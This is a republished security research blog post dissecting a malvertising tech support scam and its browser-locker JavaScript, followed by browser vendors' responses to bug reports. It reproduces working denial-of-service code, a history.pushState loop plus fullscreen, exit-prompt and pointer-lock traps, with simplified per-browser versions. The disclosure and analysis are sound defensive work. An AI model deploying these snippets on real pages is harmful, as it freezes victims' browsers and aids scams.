Browlock Malvertisers Abuse Unaddressed Denial-Of-Service Bugs That Sit Dormant For Years

Read the original article: Browlock Malvertisers Abuse Unaddressed Denial-Of-Service Bugs That Sit Dormant For Years


stock photo via Unsplash.com

This blog post will dissect a tech support scam that we caught on a major publisher running via native-style tile ads, which contrary to popular belief, are not immune to security compromise. We will also discuss how the attacker leveraged a variation of a common browser locker technique or “browlock” and the responses we got from multiple browser vendors when reporting the bug.

A couple of weeks ago, we caught the following ad on a highly trafficked publisher site (Comscore Top 50):

Upon click, victims will land on brainyfresh[.]co — a knock off of brainyfresh[.]com which is an actual content site.

This now defunct .co doppleganger, like other malicious landing pages, would use some cloaking techniques in order to weed out intentional replaying of the malicious chain. That is, if you typed brainyfresh dot co into your browser or came upon it via a search on google, and then clicked the human-sized bird article, then that’s about all you would see.

However, if you landed on the article via a native ad click tracker, like the tile above, you would be treated to this familiar scene:

While the messaging on this tech support scam is typical, what stands out here is just how quickly and effectively this page would freeze almost any browser we could throw at it.

Browser lockers have been well documented over the years and continue to be a fixture on scam pages like this in attempt to increase conversion rates. For example, WOOF locker, which was first written up by Malwarebytes in January continues to wreak havoc:

WOOF locker: Unmasking the browser locker behind a stealthy tech support scam operation

More recently, Sophos published this excellent write up on their blog about a browlock CVE that they were awarded for an “evil cursor” variation on Firefox:

Technical analysis: CVE-2020-15654 and a history of Firefox "Browser Lock" bugs

Scammy pages like this will use multiple techniques to make the victim feel “stuck” on the site in hopes that the difficulty in navigating away will be perceived as a genuine malware infection. This landing page was no different.

In addition to the scare-ware messaging, there were multiple attempts to ensure the window is rendered in full screen:

document.body.addEventListener('click', function toggleFullScreen() {
_toggleFullScreen();
}, true);

_toggleFullScreen() was applied to multiple events:

document.addEventListener('keyup', function (e) {
if (e.keyCode === 122 || e.keyCode === 17 || e.keyCode === 18 ||     e.keyCode === 13) {
if (!document.fullscreenElement
&& !document.mozFullScreenElement
&& !document.webkitFullscreenElement) {

_toggleFullScreen();
}
}}, false);

An onebeforeunload handler to keep the victim from leaving:

window.onbeforeunload = confirmExit;
function confirmExit() {
return "You have attempted to leave this page. Are you sure?";
}

An infinite loop to hide the mouse, which fortunately is rate-limited by the major browsers, but is quite painful nonetheless:

$(document).mousemove(function(){
var canvas = document.getElementById('mycanvas');
canvas.requestPointerLock = canvas.requestPointerLock || canvas.mozRequestPointerLock || canvas.webkitRequestPointerLock;
canvas.requestPointerLock();
});

And of course the coup de grâce, the browlock code:

var is_chrome, 
isChromium = window.chrome,
vendorName = window.navigator.vendor,
isOpera = window.navigator.userAgent.indexOf("OPR") > -1;
is_chrome = isChromium !== null && isChromium !== undefined && vendorName === "Google Inc." && isOpera == false ? true : false;
function alertCall() {
var total = "";
for (var i = 0; i < 100000; i++) {
total = total + i.toString();
history.pushState(0, 0, total);
}
}
function alertTimed() {
if (is_chrome) {
setInterval(function () {
alertCall();
}, 200);
} else {
alertLoop();
}
}
function alertLoop() {
for (i = 0; i < 500; i++) {
alertCall();
}
}
alertTimed()

We can untangle this a little bit into two snippets. One for Chrome:

function ps_loop() {
var total = "";
for (var i = 0; i < 100000; i++) {
total = total + i.toString();
history.pushState(0, 0, total);
}
}
setInterval(function () {
ps_loop();
}, 200);

And another variation for other browsers:

function ps_loop() {
var total = "";
for (var i = 0; i < 100000; i++) {
total = total + i.toString();
history.pushState(0, 0, total);
}
}
for (i = 0; i < 500; i++) {
ps_loop();
}

Browsers that are effectively crippled by these few lines of code include the most recent versions of Chrome, Firefox, Opera, Edge, and Brave among other lesser known Chromium and Mozilla based browsers.

Having confirmed the severity of this browlock exploit, we went on to share proof of concepts with those impacted. Responses were interesting and offer some great context on how security teams approach denial-of-service vulnerabilities of this nature.

Chrome

1113285 – chromium – An open-source project to help move the web forward. – Monorail

The initial response from the Chrome team is that our report was a duplicate of a known issue, first reported on Wed, Jul 16, 2014 and subsequently mitigated with rate limiting:

394296 – chromium – An open-source project to help move the web forward. – Monorail

The issue, however, was that our proof of concept still crashed recent versions of the browser. We clarified this and the Chromium team re-prioritized the bug.

Interesting to note, is that a bug like this is not considered a security issue by the Chromium team:

DoS attack is not considered security bugs. Mark the bug type as normal bug so it will be triaged through a non-security process.

The unfortunate byproduct of this approach is that these tickets are transparent and searchable, meaning current or would be scammers are free to peruse browser bug trackers to “borrow” well documented malicious code that will undoubtedly increase the impact of these campaigns.

Mozilla

Mozilla as well let us know that the exploit we reported is a duplicate of a know issue, first reported 4 years ago! Furthermore, multiple duplicates have been re-reported over those years.

1314912 – history.pushState – Firefox Hangs and then iterating script error

True enough, we see that a familiar snippet of code was reported:

jQuery(window).load(function(){
var total = "";
for(var i=0; i<100000; i++){
total = total + i.toString();
history.pushState(0, 0, total);
} });

Edge

We reported the issue via the Microsoft Security Response Center, and the initial feedback looked like this:

Unfortunately your report appears to rely on social engineering to accomplish, which would not meet the bar for security servicing.

Figuring this to be a mistake, we sent a followup clarifying that the social engineering component was not what we were reporting, but rather the fact that the page took advantage of a bug that froze the browser to maximize its impact.

The response:

Opera

Opera defers to Chromium for a fix:

Brave

And in a way, so does Brave:

Thanks for the report Eliya.

Do you know whether the Chromium team has a bug open for this? If so,
would you mind sharing the number with us? We have access to a few of
their private bugs and would like to coordinate with them on a fix for this.

Final Thought & Some Nuance

It’s not actually all doom and gloom when it comes to these issues, as the need for a solution is in fact recognized by the browser vendors, but some of the dialog in these tickets helps to illustrate some of the complexity:

This seems like the whack-a-mole that I was concerned about in https://crbug.com/394296#c43. I admit that I’m curious why the repro in comment 3 gets by the initial pushState mitigation, and it’s possible someone could investigate and try to fix it. However, this isn’t an arms race we can win unless there are plans to build throttling on the IPC receiver side. It would be trivial to modify the attack to use other IPCs if we mitigate this particular PoC.

In addition, as referenced later on in the same comment, fixes have been known to cause issues as well:

Hi, i think the fix for this issue made my silly snake game unusable on Chrome (https://epidemian.github.io/snakebar). The game can be played fine for a couple of seconds, but then the UI (the adress-bar) stops refreshing and a “Throttling history state changes to prevent the browser from hanging” message is logged to the console.

The game calls history.replaceState on every tick (which is around 10 times per second). I understand that this throttling is needed to avoid bad-intended code from crashing or hanging the browser, but those attacks were making thousands or millions of calls. Could the limit be raised up a notch, so that history.replaceState can be called a bit more frequently? 🙂

Meanwhile, attackers continue to abuse these bugs, and complaints keep pouring in:

Typically, when security vulnerabilities are reported to software vendors, they are kept under wraps until remediated, or determined to be unmitigable. However, as we’ve seen based on the feedback we’ve received, browser DoS is not held to this standard.

With malvertising being the most popular vector for browlock propagation, and given the broad impact of these malicious ad campaigns, perhaps it’s time to reconsider this approach?

Yes, security often does become an uncomfortable game of whack-a-mole, but with tens of millions of devices vulnerable and campaigns that can reach millions of victims in a matter of hours, perhaps it’s a game worth playing?


Browlock Malvertisers Abuse Unaddressed Denial-Of-Service Bugs That Sit Dormant For Years was originally published in Confiant on Medium, where people are continuing the conversation by highlighting and responding to this story.


Read the original article: Browlock Malvertisers Abuse Unaddressed Denial-Of-Service Bugs That Sit Dormant For Years